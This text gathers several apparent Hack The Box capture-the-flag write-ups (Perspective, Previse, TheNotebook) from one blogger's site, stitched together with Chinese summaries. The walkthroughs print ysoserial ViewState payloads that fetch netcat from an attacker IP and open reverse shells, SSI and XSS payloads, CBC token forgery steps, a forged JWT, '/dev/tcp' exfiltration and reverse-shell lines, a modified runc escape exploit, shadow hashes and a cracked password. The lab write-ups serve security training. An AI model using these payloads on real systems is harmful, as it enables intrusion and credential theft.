DZjYWM4YjRlM2ZmZDRlZWM5ZDNkZWM5ZjFjZGVkZGRjYWE4ZmNlOGYxZmViNWFlZGZhZmNkYzFhOWMyZDZmM2RhYzJkZmVlZTJkNmQ3YzNlM2RkZWJlMWNhYWJmM2U4YWVhZWNmZjdiNGExYWFhM2FjYWNhM2ExYWJhMWEyYTJhMmEyYTJhMWFjYTFhMWExOTFlYmY0ZThlZmZkZjJlM2ExYjFhMWFhYTNhY2FkYWZhMWFiYTFhMmEyYTJhMmEyYTFhY2ExYTFhMTkxZjZlMmU4ZWFmN2ExYmFhMWFhYTNhY2FkYWZhMWFiYTFhMmEyYTJhMmEyYTFhY2ExYTFhMTkxZmZmZWVkZmVmN2Y0ZWJmZWU5YTFiZmFkYmZjZGZjZTFkOWQ1ZjNlZmNhYmZkZmEyYjVlY2ZlZDhjY2VjZDJmNWZlZjBlM2VmZDJhMmNhZmFkNmY0ZmRmN2QzZjRmOWYyZWRkOGU4ZDlmMmMxYzJmZGQxYjRhY2Y0ZGNlZmVkYzJhZWFmYzljMmRjYjVkMmYxZWZhYmYxZGNmMGRhY2ZhZmFiZWFjYWQ1ZDBiNGYwYzlhOWEzYzFjZGVmY2VjM2FmY2VkMGE5ZDBmN2VhZGRlZmY2ZjRhY2FiYTFhYWEzYWNhY2E4YTFhYmExYTJhMmEyYTJhMmExYWNhMWExYTE5MWU4ZThmM2ZmYTFiMWExYWFhM2FjYWNhM2ExYWJhMWEyYTJhMmEyYTJhMWFjYTFhMWExOTE |
1 | root:$6$aygAU.nd$cETT9vauy0BVjtXD7WZQzjne8KzuPFAXmgWoEBDN5cc/lwJ2JvwnqZTUYtyc1fxvXvURB7iDAzbgwr.ghP6rx/:18778:0:99999:7::: |
Summary of knowledge
- oracle padding attack to get admin’s cookie
- sqli injection to get devbuild-job.overflow.htb subdomain
- CVE-2021-22204 exiftool RCE to get reverse shell
- mysql password reuse by developer ssh
- use bash cron job to get to tester user
- file_encrypt bin reverse then using cyberchef to get root flag and root’s shadow hash
Contact me
- QQ: 1185151867
- twitter: https://twitter.com/fdlucifer11
- github: https://github.com/FDlucifer
I’m lUc1f3r11, a ctfer, reverse engineer, ioter, red teamer, coder, gopher, pythoner, AI lover, security reseacher, hacker, bug hunter and more…
ViewState 密钥与 CBC 状态
XSS 和文件信息引向 ViewStateUserKey,后续保留已知密钥的 ViewState 执行与 CBC 位翻转的区别。IV、块位置和进程权限跟随原记录。
来源 Perspective · 原记录 2022-04-10 · 25 个代码块 · 16 处图片引用
查看分析过程、攻击步骤与完整代码
introduce
OS: Windows
Difficulty: Insane
Points: 50
Release: 19 Mar 2022
IP: 10.10.11.151
Enumeration
NMAP
1 | ┌──(root💀kali)-[~/hackthebox/machine/perspective] |
there’s a web service on 80 port, and nothing else interesting
after playing around with the web, we decide to create an account to move on
after we logon, we found an admin email account, we may have to login with this account later times
after this we are all in black box testing later steps
user shell
now logoff the account and click forget password
fill in the email we registed before, and left 3 questions empty
now intercept the request, change the email to admin%40perspective.htb then forward the request
now we have reset password console, enter whatever password you like, then login into admin@perspective.htb account
just a load user data button and generate pdf, so we guess may have something todo with xss read files in Inner network web service
we logged out again, then go back to luci@qq.com we registered before create a product.
pwn.shtml
data =>
1 | <!--#include file="../web.config"--> |
upload pwn.shtml
interspet using burp
and change content type to image/jpeg
open the uplaoded file u will see something like this.
1 | view-source:http://perspective.htb/Images/pwn_30533219726.shtml |
then we have to get XSS and get the state key from localhost:8000
now create a new product with our xss payload
- xss-payload-list
after fuzz the payload with burp intruder, we found:
1 | <META HTTP-EQUIV="refresh" CONTENT="0;url=http://10.10.14.18/test1.html"> |
this payload can used to bypass the waf
then we will create a test1.html file with this content
1 | <iframe src="http://localhost:8000/" height="2000px" width="2000px" > |
after submit this, we logoff the luci account then go to admin account again
load user data then generate pdf, we have something from http://localhost:8000/ in the pdf file
now change the html file to:
1 | <iframe src="http://localhost:8000/swagger/v1/swagger.json" height="2000px" width="2000px" ></iframe> |
then do these steps again, we got
now change the html file to:
1 | <html> |
then do these steps again, we got
now we have the decrypted viewstateuserkey
1 | SAltysAltYV1ewSTaT3 |
for get a reverse shell we need to use viewstate deserialization
- Exploiting __VIEWSTATE knowing the secrets
so we could build the following commands to generate payload
1 | C:\files\1.pentesttool\ysoserial-net>ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell -c Invoke-webrequest -URI 10.10.14.18/nc64.exe -OutFile C:\\Windows\\System32\\spool\\drivers\\color\\nc64.exe" --generator=0414C274 --validationalg="SHA1" --viewstateuserkey="SAltysAltYV1ewSTaT3" --validationkey="99F1108B685094A8A31CDAA9CBA402028D80C08B40EBBC2C8E4BD4B0D31A347B0D650984650B24828DD120E236B099BFDD491910BF11F6FA915BF94AD93B52BF" |
replace the __VIEWSTATE then send it
1 | C:\files\1.pentesttool\ysoserial-net>ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "C:\Windows\System32\spool\drivers\color\nc64.exe -e cmd.exe 10.10.14.18 443" --generator=0414C274 --validationalg="SHA1" --viewstateuserkey="SAltysAltYV1ewSTaT3" --validationkey="99F1108B685094A8A31CDAA9CBA402028D80C08B40EBBC2C8E4BD4B0D31A347B0D650984650B24828DD120E236B099BFDD491910BF11F6FA915BF94AD93B52BF" |
now we have a shell, and user flag
1 | c:\Users\webuser\Desktop>type user.txt |
root shell
the unintended way: rouge patoto is now patched

so we have to move on the other way:
1 | Proto Local Address Foreign Address State PID |
thers’s a ssh key, we grab it
1 | PS C:\users\webuser> cat .ssh/id_rsa |
then ssh into it, and ssh port forward 8009
1 | ssh -i id_rsa webuser@perspective.htb -L 8009:127.0.0.1:8009 |
seems like the same web page again……
- Cipher block chaining (CBC)
The token can be manipulated. (password reset) First 16 bytes are the IV. During decryption the IV is used to XOR the intermediate value. You know the plaintext to xor.
extend the hidden email with spaces (+) and make it more than 16 chars (else the padding won’t match). The first 16 bytes can then be manipulated : Change the IV for that : example (IV) XOR (6140612e616120202020202020202020) XOR (6140612e6161265C785C782e62617420) = new IV.
exchanged the first 16 bytes (IV) with the new value and encode it again
The first 16 bytes are xored with the IV value in the last step of decryption
Looking at the code (dnspy perspective.dll) you notice that the first 16 bytes of the token is the IV
On another part you see that the base64 is url encoded - -> + and _ -> /
With that you can base64 decode the token and change is to hex values
example:
1 | echo -n LuZov1TP8rYJyxm9PsaBUhxD2IqfaWQSd437ihbkpv8uqT6mpYefQSbtQV4fXCvn|base64 -d| xxd -p| tr -d "\n" |
I use a@a.aa as email to get more space for the instructions
via a shell on the host I create a dir x in the root
- Create a account.
- Go to forget password page.
- Fill the three questions.
- And intersept the request.
We will modify the EmailHidden, we will add a 16 bits padding. So our value will be equal to
1 | POST /Account/Forgot HTTP/1.1 |
Now don’t forward this request, copy the token and replace it in this Recipe.
1 | https://gchq.github.io/CyberChef/#recipe=Find_/_Replace(%7B'option':'Simple%20string','string':'_'%7D,'/',true,false,true,false)Find_/_Replace(%7B'option':'Simple%20string','string':'-'%7D,'%2B',true,false,true,false)From_Base64('A-Za-z0-9%2B/%3D',true)To_Hex('None',0)&input=eHhBWWZDaTlnTHBCU2ZxQS0tYnBESVppYXdXeTJWblpkSXhteHYzTTV4MTN6NFpydkFSeTVFYy10Ym5yMmdPVw |
We will replace the token.
1 | GET /Account/forgot.aspx?token=xxAYfCi9gLpBSfqA--bpDIZiawWy2VnZdIxmxv3M5x13z4ZrvARy5Ec-tbnr2gOW HTTP/1.1 |
This will generate a decimal form.
Now we create our shell. Go to the root dir, and create a new dir x. Download a shell and rename it to .exe.
1 | ┌──(root💀kali)-[~/hackthebox/machine/perspective] |
1 | webuser@PERSPECTIVE C:\>mkdir x |
Now copy the first 16 bytes, means 32 chars of the decimal token.
1 | >>> data = "c710187c28bd80ba4149fa80fbe6e90c86626b05b2d959d9748c66c6fdcce71d77cf866bbc0472e4473eb5b9ebda0396" |
and replace in this Recipe
1 | https://gchq.github.io/CyberChef/#recipe=From_Hex('Auto')XOR(%7B'option':'Hex','string':'6140612e616120202020202020202020'%7D,'Standard',false)XOR(%7B'option':'Hex','string':'6140612e6161265c785c782e65786520'%7D,'Standard',false)To_Hex('None',0)&input=YzcxMDE4N2MyOGJkODBiYTQxNDlmYTgwZmJlNmU5MGM |
Copy the output value ot the recipe. And replace with the orginal token.
Final decimal token ⇒
1 | >>> data[32:] |
Now reverse the 1st recipe
1 | https://gchq.github.io/CyberChef/#recipe=From_Hex('Auto')To_Base64('A-Za-z0-9%2B/%3D')Find_/_Replace(%7B'option':'Simple%20string','string':'%2B'%7D,'-',true,false,true,false)Find_/_Replace(%7B'option':'Simple%20string','string':'/'%7D,'_',true,false,true,false)&input=YzcxMDE4N2MyOGJkODZjNjE5MzVhMjhlYmViZWFjMGM4NjYyNmIwNWIyZDk1OWQ5NzQ4YzY2YzZmZGNjZTcxZDc3Y2Y4NjZiYmMwNDcyZTQ0NzNlYjViOWViZGEwMzk2 |
We will replace at the burp intersept option.
Forward the request. And we will redirected to change password, start a msf listener. And change password.
1 | meterpreter > getuid |
And we get a shell. and dump the hash
all done now
Summary of knowledge
- black box web testing
- xss bypass and read file
- viewstateuserkey decrypt
- Exploiting __VIEWSTATE knowing the secret to get shell
- Cipher block chaining (CBC) to get root shell
Contact me
- QQ: 1185151867
- twitter: https://twitter.com/fdlucifer11
- github: https://github.com/FDlucifer
I’m lUc1f3r11, a ctfer, reverse engineer, ioter, red teamer, coder, gopher, pythoner, AI lover, security reseacher, hacker, bug hunter and more…
响应跳转与真实服务端授权
302 页面仍返回了可操作内容,原记录利用请求与响应差异进入账户功能。日志参数的命令拼接、哈希和 gzip 执行路径继续保留。
来源 previse · 原记录 2021-08-08 · 18 个代码块 · 9 处图片引用
查看分析过程、攻击步骤与完整代码
introduce
OS: Linux
Difficulty: Easy
Points: 20
Release: 07 Aug 2021
IP: 10.10.11.104
Enumeration
Nmap
1 | PORT STATE SERVICE |
ffuf
1 | index.php [Status: 302, Size: 2801, Words: 737, Lines: 72] |
curl
1 | curl http://10.10.11.104/files.php |
So it seems we can access parts of the site with a fwe tricks. Testing further showed I can capture the request from nav.php and then change the response from a 302 to 200 to access the account page.
Clicking on Do Intercept > Response to this request.
Change the 302 to 200
Create a new user and use the same tatics for capturing the request and editing the response.
Then login with the new account.
Files
- config.php
1 | $host = 'localhost'; |
- logs.php
1 | ┌──(root💀kali)-[~/hackthebox/machine/previse/siteBackup] |
In logs.php we can see the developer had to use python instead of PHP for the delimiters for ease of use and this also looks vunerable to command injection.
User
Reverse shell.
To get a reverse shell. Login as your new user, goto the Management menu > logs. Capture the request in burp and add a python reverse shell to the delim attribute.
1 | POST /logs.php HTTP/1.1 |
Have your netcat listner ready!
1 | ┌──(root💀kali)-[~] |
mysql
Let’s get any info and hash’s from the database.
1 | mysql -u root -p |
1 | select * from accounts; |
Cracking the hash
- hashcat
1 | hashcat64.exe -a 0 -m 500 password.txt rockyou.txt |
now got the passwords…
1 | D:\hashcat-5.1.0\hashcat-5.1.0>hashcat64.exe -a 0 -m 500 password.txt rockyou.txt --show |
- john
1 | john -format=md5crypt-long --wordlist==/usr/share/wordlists/rockyou.txt hash.txt |
1 | m4lwhere:ilovecody112235! |
Time to SSH into the box for a better shell.
1 | ┌──(root💀kali)-[~/hackthebox/machine/previse] |
Root
1 | m4lwhere@previse:~$ sudo -l |
Let’s try some path abuse for gzip.
nano gzip
1 |
|
1 | m4lwhere@previse:/tmp$ chmod +x gzip |
and we get a rev shell
1 | ┌──(root💀kali)-[~/hackthebox/machine/previse] |
Summary of knowledge
- create user by change responese code status
- get Reverse shell by php command injection
- Cracking the hash with hashcat
- privesc with gzip
Contact me
- QQ: 1185151867
- twitter: https://twitter.com/fdlucifer11
- github: https://github.com/FDlucifer
I’m lUc1f3r11, a ctfer, reverse engineer, ioter, red teamer, coder, gopher, pythoner, AI lover, security reseacher, hacker, bug hunter and more…
JWT 的签名密钥来源与管理员声明
原环境同时信任可控密钥地址与角色声明,上传和备份文件连接用户。Docker/runc 的 CVE-2019-5736 分支完整保留。
来源 TheNotebook · 原记录 2021-03-09 · 26 个代码块 · 5 处图片引用
查看分析过程、攻击步骤与完整代码
introduce
OS: Linux
Difficulty: Medium
Points: 30
Release: 06 Mar 2021
IP: 10.10.10.230
information gathering
first use nmap as usaul
1 | ┌──(root💀kali)-[~/hackthebox/machine/thenotebook] |
webpage
egister, write notes, and it will assign a uuid and a cookie
request pkg:
1 | POST /a22c35fe-ccb9-4128-971a-0f96e2b9108d/notes/add HTTP/1.1 |
uuid:
1 | a22c35fe-ccb9-4128-971a-0f96e2b9108d |
cookie:
1 | auth=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImtpZCI6Imh0dHA6Ly9sb2NhbGhvc3Q6NzA3MC9wcml2S2V5LmtleSJ9.eyJ1c2VybmFtZSI6Imx1Y2lmZXIxMSIsImVtYWlsIjoiMTE4NTE1MTg2N0BxcS5jb20iLCJhZG1pbl9jYXAiOjB9.i2HuA6-7YK2MniK6nuBOrwxvGRgJf0cZkUif2bNYN77BSZBkuqOducOZI-BuAGPZKrLelZhecaZxVW1OtsaTuM0-fyz48ar5I34K78FDazAtgWbuIb8atjZQG2Vo3OAFO4gv4Jlys5Vl8V7XZSgdW_DrJt8pSL0nSajDAG5dQCwlv0phweF19KifvADNQGlo_woN7QsK25lsp8LQIUdVn2jj0q7B0V1h7gLu7lIs1r9YhZrpmMG-Q0cnCscnN6o-IwnwP4h4SjHEQWBLPuhbCw9yodvJhzKo_hqIGASha98NjXgt43ruBaPSCPlJEaLNnfilQbC9jkLjiEQyifQmh62VptzBLVrgaUwKcxBkalJdyt8UUCw_77dTMXr202QsS-05wFkWVd_03yKgQFNL2whlIwKa_F5jyclxRa8SWJ3CQrM0PMhLPPzhp4XKvGGo00OJjLHodwV0EEVq1VrunsnFEkp-yg81Ms0z8_fejSWCoqdVaThf6uuK-_XpvS49pV8tnkvUa3U4slnJqhk2LaUuW3CGGGXTRvbEw1CVQPcrK64tIZzzVm7iT05sybOUBJIQGVcYsWbGfrvwitPBxrKXTlFpau5cxv9M5MkfjcDMl5qh0-xUAcH4qv5TO18BFRVvNosbmdPkIyibbBhSMTTd_ZRJlZyvBHP1LItD6lg; |
looking up about auth cookie I found jwt, lets see that too, what that is.
1 | https://jwt.io/ |
upon pasting the token..
we get something interesting…
HEADER:
1 | { |
PAYLOAD:
1 | { |
VERIFY SIGNATURE:
1 | RSASHA256( |
its using keys for the auth (prob. gpg keys) and kid at port 7070
- Navigating RS256 and JWKS
on researching and from the jwt.io itself, we can create out own token for auth..
lets create one and exploit it.
create a new rsa key pair
- jwtRS256.sh
1 | ┌──(root💀kali)-[~/hackthebox/machine/thenotebook] |
here now edit the payload and the details in jwt.io to the one matching to the original token, but change the localhost to your own tun0 ip, change admin_cap to true
And make sure the algorithm is set to RS256
It should look like this, signature verified.
before changing the cookie, change the priv key name to privKey.key as that is called on and spin the server on port 7070.
new cookie/token:(on the left)
1 | eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImtpZCI6Imh0dHA6Ly8xMC4xMC4xNC41OjcwNzAvcHJpdktleS5rZXkifQ.eyJ1c2VybmFtZSI6Imx1Y2lmZXIxMSIsImVtYWlsIjoiMTE4NTE1MTg2N0BxcS5jb20iLCJhZG1pbl9jYXAiOnRydWV9.Tv-XaYQuY71cIYcsBnYoDrrUUyDDs3u9Q-gIdkYVfZAFZJDn4EQYuQ0McwoPK_CX_puFmwiX7TzCqeL3y5tTlgZCeYKiaPo3fwRxr2LgmTAvoHMjXy-oD5VzgZWmutgPUtPEO5v7kRPrHM0etc-_f5HPNqpTXGJe1n0lSxipoc35X-MHWzhG3ymr41iN3aWQ8wcIJ2oFPKlcxadd8_l2byDYlnmGTU4_etYL48IG18ZRkDbDRE1LOiGId25LmjnHCblqFi5gDroL8DdyT-LuyqPYy1DCYSmkBHnnjZTCJWzKbPNv5JlnKC3Lr3JoLYZSaEFUbqYjnIScoBI5eaE5k54OLkQRRhDwxg33oxNiALiactRg_inHhhryCeBjSvqRfHDsutZj-WAwwSTDDl32N2n5TyXRzUuMteTTG087EzPMv694Y9twdIKEe5go2N0uTkcBBBGcRK7zE6Utx3011Gl45bd1a6WgVw1oyL1APAqsws60-P3UHEGdqLQbmSZSoHTrSWtvdEKEvDblYqMMgOIBX7pZRGFFYnbX_yr59FiLH8wDOpQ4wkOUgDfPKZaDWJUuqZOnzaAgOdOSKYl_L5ktzfwY704Dn9BVvnMGU4xM1S7wSM7020jQnC2VQukx1VyYgEAZzYAPWikkGxcDoFbh5sXTzLhmsn7oB9pASAs |
change the token and our priv key is been picked
1 | ┌──(root💀kali)-[~/hackthebox/machine/thenotebook] |
and now we are admin, (i edit the cookie auth parameter in firefox cookie editor plugin)
every refresh to the web page would request the privKey.key one time:
1 | ┌──(root💀kali)-[~/hackthebox/machine/thenotebook] |
so don’t close the python SimpleHTTPServer.
and we can upload the files, i uploaded the php-reverse-shell.php, and got a reverse shell:
1 | ┌──(root💀kali)-[~/hackthebox/machine/thenotebook] |
user
In /var/backups/ there is home.tar.gz file
sending the file
1 | www-data@thenotebook:/var/backups$ cat home.tar.gz > /dev/tcp/10.10.14.5/4444 |
getting the tar.gz file
1 | ┌──(root💀kali)-[~/hackthebox/machine/thenotebook] |
Unzipping we got the ssh keys
1 | ┌──(root💀kali)-[~/hackthebox/machine/thenotebook] |
give permission and ssh into the server, and get the user flag
1 | ┌──(root💀kali)-[~/hackthebox/machine/thenotebook] |
root
1 | noah@thenotebook:~$ sudo -l |
searching for the exploit, the following website is interesting
- CVE-2019-5736-PoC
now there change the exploit in var payload =
for getting the reverse shell
1 | var payload = "#!/bin/bash \n echo 'bash -i >& /dev/tcp/10.10.14.5/4322 0>&1' > /tmp/rev.sh && chmod +x /tmp/rev.sh && bash /tmp/rev.sh" |
build it go build main.go
now go to the machine, get into the docker container
1 | ┌──(root💀kali)-[~/hackthebox/machine/thenotebook] |
1 | noah@thenotebook:~$ sudo /usr/bin/docker exec -it webapp-dev01 bash |
and in /tmp/ wget the main executable.
give executable permission and run the file
1 | ┌──(root💀kali)-[~/hackthebox/machine/thenotebook] |
1 | root@396a6d12aaa7:/tmp# wget http://10.10.14.5:81/exp |
and simultaneously open second ssh session, and ssh into it, and run:
1 | ┌──(root💀kali)-[~/hackthebox/machine/thenotebook] |
as per our payload, listen on the port for rev connection
got root
1 | └─# nc -lvp 4322 |
1 | root@thenotebook:/root# cat /etc/shadow |
Summary of knowledge
- jwt cookie auth parameter forge
- .ssh id_rsa key leak
- Docker escapes from the sandbox
- modify golang CVE-2019-5736-PoC to get a reverse shell
Contact me
- QQ: 1185151867
- twitter: https://twitter.com/fdlucifer11
- github: https://github.com/FDlucifer
I’m lUc1f3r11, a ctfer, reverse engineer, ioter, red teamer, coder, gopher, pythoner, AI lover, security reseacher, hacker, bug hunter and more…












































